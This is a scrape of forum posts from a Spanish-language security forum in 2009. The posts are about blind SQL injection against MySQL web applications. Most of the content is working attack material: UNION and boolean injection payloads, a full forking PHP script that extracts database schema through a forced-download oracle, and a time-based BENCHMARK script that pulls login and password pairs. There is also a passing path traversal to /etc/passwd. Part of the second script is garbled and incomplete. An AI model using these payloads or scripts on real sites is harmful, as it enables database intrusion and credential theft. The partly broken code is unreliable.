|
92
|
Seguridad Informática / Nivel Web / Re: Inyeccion SQL (mysql) dentro de un DELETE
|
en: 18 Febrero 2009, 18:53 pm
|
prova lo siguiente OK +and+(select+database())+--+ ERROR +and+(select+databace())+--+ Dime hay algun cambio drastico al poner las dos? Osea podria encontrar alguna diferencia en cuanto a tiempo de carga, redireccion, o error, en cuando pones una inyeccion valida y otra invalida. databace no existe xD¡. Saludos¡
|
|
|
95
|
Seguridad Informática / Nivel Web / Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
|
en: 10 Febrero 2009, 22:48 pm
|
hi brota. a diferencia de los otros, este esta enfocado a las webs que tienen descargar forzadas. header( 'Content-Disposition: attachment; filename="' . $name . '"'); donde $name es la consulta previ para obtener el archivo desde la base de datos o del mismo servidor. el sistema que tiene para diferencir , si un valor es verdadero o falso, es. $var = strlen(file_get_contents($url,FALSE,NULL,0,1)); en donde si descarge lo minimo y esto lo leo como texto (obtendre codigo ilegible ), pero se que descargo algo, hay sabre que es un valor verdadero, en cambio si es falso, este no descargara nada de nada. if ($var != 0){ echo "TRUE"; }else{ echo "FALSE"; } } nose en k tipo de vulnerabilidad blind la provaste, pero si no es de descargas forzadas, no va a funcionar. Saludos brota¡ ¡
|
|
|
96
|
Seguridad Informática / Nivel Web / Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
|
en: 10 Febrero 2009, 22:35 pm
|
Hi Brota Codie esta tool para una inyeccion tipo union+select+all+1,2,3,4,5,6,7,8,9. http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(group_concat(login,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+limit+0,1/*" Por eso los 9 null. Ahora voy a montar un LocalHost , con un falla de blind con los mismos datos, y posteo el code modificado y ver en k taba fallando . Saludos¡
|
|
|
97
|
Seguridad Informática / Nivel Web / Re: Caso #01 : Blind SQL Inyection Con Descarga Forzada.
|
en: 7 Febrero 2009, 23:24 pm
|
wow '_' No se me habia ocurrido ese escenario para blind SQL injection ahora que lo veo, tengo un sistema de descargas, lo voy a probar XD
Ya lo probe, tiene tiempo que hice ese "sistema de descargas" y resulta que me dice "solo se aceptan numeros" bueno, al parecer pense casi en todo jejej coool. en #RE hay un post algo parecido solo que prueba si nos deja descargar x ejemplo /../index.php ../../index.php /../../../etc/psswd
interesante post OzX saludos
Hi brota, eso es LFI, brute Force. esto es Blind SQl algo bastante distinto. Saludos¡ Blind Sql realmente es una de las pocas tecnicas de "hackeo" por SQL q me agradan ^^
jejej pues si SQL es bastante interesante hay muxas formas de obtener informacion, desde obtener root en mysql 4 con raptor o la nueva tecnica de obtenercion de informacion como load_file, pero con blind. Saludos¡
|
|
|
98
|
Seguridad Informática / Nivel Web / Caso #01 : Blind SQL Inyection Con Descarga Forzada.
|
en: 6 Febrero 2009, 19:21 pm
|
Posteare Algunas de mis Experiencias "Casos" Dentro de las Inyecciones SQL en MYSQL. Asi si alguien tiene algun problema o falla similar, pueda tener aunque sea una guia de como se podria Resolver. Web: http://www.site.com/download.php?id=2
Al Dar Click Se Descarga el Archivo Numero 2, de la base de datos. Como no es Una Inyeccion Comun que podria Mostrar algun Tipo de Informacion, tenia que ocupar la Tecnica de Blind SQL. Pues Bien Me Prepare a Codear un Script que me facilitara la Vida, pero llegue a un problema. Si Hacia Alguna peticion Curl o Simplemente file_get_contents, no tenia Ninguna respuesta. Tenia que obtener la forma de diferenciar un valor Verdadero de uno Falso. De lo cual Nacio el Siguiente Script. <? $x=97; $substring = 0; $sql = "SELECT+column_name+from+information_schema.columns+where+table_name='tabla'+limit+".$limit.",1"; $url=" http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))="$x; $var = strlen(file_get_contents($url,FALSE,NULL,0, 1)); if ($var != 0){ echo "TRUE"; }else{ echo "FALSE"; } } ?> La parte en Rojo muestra cantidad maxima que recibira. Leemos con strlen el largo del string, si recibimos auque sea 1 caracter significa que es verdadero. Ya tenemos Nuestro Motor Casi Listo. Script Finalizado : <?php /* Coded by OzX[NuKE/US] http://foro.undersecurity.net
*/ set_time_limit (0); error_reporting(0);
function ordenar($file){ $file = file($file); foreach ($file as $var){ list($ansii,$valores)= explode(">",$var); $vars[$ansii] = $valores; } ksort($vars); foreach ($vars as $var){ $data .=trim($var); } return array($data,$vars); }
function blind($limit,$substring,$file){ $ascii = array(44,0,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112, 113,114,115,116,117,118,119,120,121,122,48,49,50,51,52,53,54,55,56,57, 65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90);
for ($x=0;$x<=count($ascii);$x++){ $f1=fopen($file,"a"); $sql = "SELECT+table_name+from+information_schema.tables+where+table_schema='db'+limit+".$limit.",1"; //Mostrar las Tablas de la db $url="http://www.site.com/download.php?id=2+AND+ascii(substring((".$sql."),".$substring.",1))=".$ascii[$x];
$var = strlen(file_get_contents($url,FALSE,NULL,0,1)); if ($var != 0){ $info = $substring . ">".chr($ascii[$x])."\n"; $string.= chr($ascii[$x]); //Obtenemos el Valor y lo Guardamos echo "[".$substring."] > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n"; fwrite($f1,$info); fclose($f1); exit(); }else{ echo chr($ascii[$x]).chr(13); } }
} ############################################################################################
$start = $argv[2]; $finish = $argv[3]; $limit = $argv[1];
$file = rand().".txt"; if (file_exists($file)) { unlink($file); }
$pids = array(); for($i=$start;$i<=$finish;$i++) { $pid = pcntl_fork(); if($pid == -1) { die('ERROR FORK'); } else if ($pid) { $pids[] = $pid; } else { blind($limit,$i,$file); exit(); } } foreach($pids as $pid) { pcntl_waitpid($pid, $status);
}
list($data,$vars) = ordenar($file); echo "Valor Obtenido :> ".$data."\r\n"; unlink($file);
?>
Claramente Tienen que Cambiar la url, y la consulta que desean hacer. recibe 3 parametros de Entrada. $start = $argv[2]; //=> Desde Donde partira el Substring ej => 1 , empezara del segundo valor $finish = $argv[3]; //=> En donde Terminara el Substring => 9 $limit = $argv[1]; //=> Valor del Limit, Primer Valor , Segundo Tercero cuarto ... (limit+0,1) = $limit = 0
Saludos ¡ OzX¡ Fuente : http://foro.undersecurity.net/read.php?5,775,776
|
|
|
99
|
Seguridad Informática / Nivel Web / Re: Problemas con Time-based Blind SQLI , Obtencion de Minusculas y Mayusculas
|
en: 5 Febrero 2009, 17:51 pm
|
duh ? @OzX finalmente como quedo el codigo y el solve diferenciador Mayusculas/Minusculas, los chars especiales si te los toma en cuenta, haz hecho la prueba? -berz3k. jawjwajwaj XD ascii(substring(( http://www.site.com/bug.php=2+UNION+SELECT+IF+(ASCII(SUBSTRING(group_concat(login,0x5F,password),0,1)=97),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+where+id=1+limit+1,1/*
asi me resulto, osea asi me indentificaba las mayus de las minus. pero logre obtener lo que queria con into out file, al tener magic quotes off y permisos Adecuados Por si alguien le Podria Interesar o ser Util en algo, dejo el code que utilize. <? //Coded by OzX http://foro.undersecurity.net function GET($url) { $header[] = "Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5"; $header[] = "Cache-Control: max-age=0"; $header[] = "Connection: keep-alive"; $header[] = "Keep-Alive: 300"; $header[] = "Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7"; $header[] = "Accept-Language: en-us,en;q=0.5"; $header[] = "Pragma: "; curl_setopt($curl, CURLOPT_USERAGENT , 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.1.15) Gecko/2008111317 Firefox/3.0.4'); curl_setopt($curl, CURLOPT_REFERER , 'http://www.google.com'); } return $html; } function ordenar($file){ foreach ($file as $var){ $vars[$ansii] = $valores; } foreach ($vars as $var){ } return array($data,$vars); } function blind_time($limit,$file,$db,$tabla,$columna){ $ascii = array (44,95,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,#a-z 47,32,0, //null, space, _, , 48,49,50,51,52,53,54,55,56,57, #0-9 65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90, #A-Z 33,35,36,37,38,45,46 ); for ($x=0;$x<=count($ascii);$x++){ $char = $ascii[$x]; echo "[+] ".$limit ." >>> Testing :> ".$char." =================> ".chr($char)."\r\n"; $source = GET("http://www.site.com/bug.php?=2+UNION+SELECT+IF+(SUBSTRING(group_concat(login,0x5F,password),".$limit.",1)/**/=/**/CHAR(%22".$char."%22),BENCHMARK(1500000,MD5(CHAR(1))),null),null,null,null,null,null,null,null,null+from+db.tabla+limit+0,1/*"); $difftime=$endtime - $starttime; //echo " DIFERENCIA -> ".$difftime."\r\n"; if ($difftime >15){ $info = $limit . ">".chr($char)."\n"; $string.= chr($char); //Obtenemos el Valor y lo Guardamos echo "[".$limit."] > ENCONTRADO :>>>>>>>>>>> ".$string."\r\n"; } } } $limit = $argv[2]; $start = $argv[1]; //$db = $argv[3]; //$tabla = $argv[4]; //$columna = $argv[5]; } for($i=$start;$i<=$limit;$i++) { $pid = pcntl_fork(); if($pid == -1) { die('ERROR FORK'); } else if ($pid) { $pids[] = $pid; } else { blind_time($i,$file,$db,$tabla,$columna); } } foreach($pids as $pid) { pcntl_waitpid($pid, $status); } list($data,$vars) = ordenar ($file); echo "TABLA :> ".$tabla." COLUMNA :>> ".$columna."\r\n"; echo "Valor Obtenido :> ".$data."\r\n"; echo "DEBUG :>\r\n"; ?>
los saca como el diablo, bastante rapido, para ser un time blind, porque si se hace letra a letra se demora bastante. Saludos¡ OzX¡
|
|
|
|
|
|
|